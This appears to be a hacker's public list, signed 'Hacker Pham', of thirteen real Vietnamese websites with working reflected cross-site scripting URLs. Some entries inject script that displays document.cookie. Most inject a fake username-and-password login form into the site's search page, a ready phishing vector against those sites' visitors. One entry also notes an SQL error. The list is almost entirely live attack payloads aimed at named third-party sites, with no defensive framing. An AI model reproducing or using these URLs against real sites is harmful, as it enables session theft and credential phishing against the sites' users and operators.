XSS Crossite Scripting

XSS - Cross Site Scripting
1. http://www.elise.vn/?ac=&maloai=
   Error Link : http://www.elise.vn/?ac=&maloai=%60%27%22%3E%3Cb%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
   Information Vulnerables XSS : `'"><b><script>alert(document.cookie)</script>
   Information Vulnerables SQL : line 226
2. http://www.grandhotel.com.vn/wedding.php?cpath=
   Error Link : http://www.grandhotel.com.vn/wedding.php?cpath=%20%27%22%3E%3Cb%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3C/b%3E
   Information Vulnerables XSS : "); s1.addVariable("width","720"); s1.addVariable("height","400"); s1.write("container");
3. http://biovegi.com.vn/search.php?keyword=%3Fkeyword%3D%3C%2Fa%3E%3Cbr%3E%3Cbr%3E%3Ccenter%3ELOGIN%3Cform%3EUsername%3A%3Cinput+name%3Dten%3E%3Cbr%3EPassword%3A%3Cinput+name%3Dmk+type%3Dpassword%3E%3Cbr%3E%3Cinput+type%3Dsubmit+value%3DSend%3E%3C%2Fform%3E%3C%2Fcenter%3E&searchid=all
4. http://xuatkhaulaodong.com.vn/search.php?keyword=%3Fkeyword%3D%3C%2Fa%3E%3Cbr%3E%3Cbr%3E%3Ccenter%3ELOGIN%3Cform%3EUsername%3A%3Cinput+name%3Dten%3E%3Cbr%3EPassword%3A%3Cinput+name%3Dmk+type%3Dpassword%3E%3Cbr%3E%3Cinput+type%3Dsubmit+value%3DSend%3E%3C%2Fform%3E%3C%2Fcenter%3E&searchid=all
5. http://laodongngoainuoc.vn/search.php?language_alias=vn&keyword=http://xuatkhaulaodong.com.vn/search.php?keyword=%3Fkeyword%3D%3C%2Fa%3E%3Cbr%3E%3Cbr%3E%3Ccenter%3ELOGIN%3Cform%3EUsername%3A%3Cinput+name%3Dten%3E%3Cbr%3EPassword%3A%3Cinput+name%3Dmk+type%3Dpassword%3E%3Cbr%3E%3Cinput+type%3Dsubmit+value%3DSend%3E%3C%2Fform%3E%3C%2Fcenter%3E&searchid=all
6. http://starlinks.vn/search.php?keyword=http://laodongngoainuoc.vn/search.php?language_alias=vn&keyword=http://xuatkhaulaodong.com.vn/search.php?keyword=%3Fkeyword%3D%3C%2Fa%3E%3Cbr%3E%3Cbr%3E%3Ccenter%3ELOGIN%3Cform%3EUsername%3A%3Cinput+name%3Dten%3E%3Cbr%3EPassword%3A%3Cinput+name%3Dmk+type%3Dpassword%3E%3Cbr%3E%3Cinput+type%3Dsubmit+value%3DSend%3E%3C%2Fform%3E%3C%2Fcenter%3E&searchid=all
7. http://nhanluctoancau.vn/search.php?keyword=?keyword=%3C/a%3E%3Cbr%3E%3Cbr%3E%3Ccenter%3ELOGIN%3Cform%3EUsername:%3Cinput%20name=ten%3E%3Cbr%3EPassword:%3Cinput%20name=mk%20type=password%3E%3Cbr%3E%3Cinput%20type=submit%20value=Send%3E%3C/form%3E%3C/center%3E
8. http://tietkiemxanghoangson.com.vn/search.php?keyword=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&searchid=all
9. http://duhoc.japan.net.vn/search.php?keyword=%3C/a%3E%3Cbr%3E%3Cbr%3E%3Ccenter%3ELOGIN%3Cform%3EUsername:%3Cinput%20name=ten%3E%3Cbr%3EPassword:%3Cinput%20name=mk%20type=password%3E%3Cbr%3E%3Cinput%20type=submit%20value=Send%3E%3C/form%3E%3C/center%3E#gsc.tab=0&gsc.q=%3C%2Fa%3E%3Cbr%3E%3Cbr%3E%3Ccenter%3ELOGIN%3Cform%3EUsername%3A%3Cinput%20name%3Dten%3E%3Cbr%3EPassword%3A%3Cinput%20name%3Dmk%20type%3Dpassword%3E%3Cbr%3E%3Cinput%20type%3Dsubmit%20value%3DSend%3E%3C%2Fform%3E%3C%2Fcenter%3E&gsc.page=1
10.http://vieclamdailoan.vn/search.php?keyword=%3C/a%3E%3Cbr%3E%3Cbr%3E%3Ccenter%3ELOGIN%3Cform%3EUsername:%3Cinput%20name=ten%3E%3Cbr%3EPassword:%3Cinput%20name=mk%20type=password%3E%3Cbr%3E%3Cinput%20type=submit%20value=Send%3E%3C/form%3E%3C/center%3E#gsc.tab=0&gsc.q=%3C%2Fa%3E%3Cbr%3E%3Cbr%3E%3Ccenter%3ELOGIN%3Cform%3EUsername%3A%3Cinput%20name%3Dten%3E%3Cbr%3EPassword%3A%3Cinput%20name%3Dmk%20type%3Dpassword%3E%3Cbr%3E%3Cinput%20type%3Dsubmit%20value%3DSend%3E%3C%2Fform%3E%3C%2Fcenter%3E&gsc.page=1
11.http://dakado.vn/search.php?keyword=%3C/a%3E%3Cbr%3E%3Cbr%3E%3Ccenter%3ELOGIN%3Cform%3EUsername:%3Cinput%20name=ten%3E%3Cbr%3EPassword:%3Cinput%20name=mk%20type=password%3E%3Cbr%3E%3Cinput%20type=submit%20value=Send%3E%3C/form%3E%3C/center%3E#gsc.tab=0&gsc.q=%3C%2Fa%3E%3Cbr%3E%3Cbr%3E%3Ccenter%3ELOGIN%3Cform%3EUsername%3A%3Cinput%20name%3Dten%3E%3Cbr%3EPassword%3A%3Cinput%20name%3Dmk%20type%3Dpassword%3E%3Cbr%3E%3Cinput%20type%3Dsubmit%20value%3DSend%3E%3C%2Fform%3E%3C%2Fcenter%3E&gsc.page=1
12.https://cumargold.vn/search.php?keyword=%3C/a%3E%3Cbr%3E%3Cbr%3E%3Ccenter%3ELOGIN%3Cform%3EUsername:%3Cinput%20name=ten%3E%3Cbr%3EPassword:%3Cinput%20name=mk%20type=password%3E%3Cbr%3E%3Cinput%20type=submit%20value=Send%3E%3C/form%3E%3C/center%3E#gsc.tab=0&gsc.q=%3C%2Fa%3E%3Cbr%3E%3Cbr%3E%3Ccenter%3ELOGIN%3Cform%3EUsername%3A%3Cinput%20name%3Dten%3E%3Cbr%3EPassword%3A%3Cinput%20name%3Dmk%20type%3Dpassword%3E%3Cbr%3E%3Cinput%20type%3Dsubmit%20value%3DSend%3E%3C%2Fform%3E%3C%2Fcenter%3E&gsc.page=1
13.http://medvie.vn/search.php?keyword=%3C/a%3E%3Cbr%3E%3Cbr%3E%3Ccenter%3ELOGIN%3Cform%3EUsername:%3Cinput%20name=ten%3E%3Cbr%3EPassword:%3Cinput%20name=mk%20type=password%3E%3Cbr%3E%3Cinput%20type=submit%20value=Send%3E%3C/form%3E%3C/center%3E#gsc.tab=0&gsc.q=%3C%2Fa%3E%3Cbr%3E%3Cbr%3E%3Ccenter%3ELOGIN%3Cform%3EUsername%3A%3Cinput%20name%3Dten%3E%3Cbr%3EPassword%3A%3Cinput%20name%3Dmk%20type%3Dpassword%3E%3Cbr%3E%3Cinput%20type%3Dsubmit%20value%3DSend%3E%3C%2Fform%3E%3C%2Fcenter%3E&gsc.page=1

© by Hacker Pham